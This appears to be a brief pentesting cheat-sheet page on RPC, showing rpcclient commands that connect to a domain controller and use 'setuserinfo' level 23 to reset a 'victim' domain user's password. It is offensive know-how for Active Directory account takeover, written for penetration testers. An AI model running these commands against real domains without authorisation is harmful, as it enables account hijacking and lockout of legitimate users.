> For the complete documentation index, see [llms.txt](https://notes.programmersecurity.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.programmersecurity.com/network-penetration-testing/111-pentesting-rpc.md).

# 111 - Pentesting RPC

## Change the Password of Domain User

We can change the password of the domain user if we have privielges to do so using rpcclient

```
rpcclient <DC IP HERE> -U 'Domain\username'

# To change the password

setuserinfo <victim user> 23 <new-password> 
```
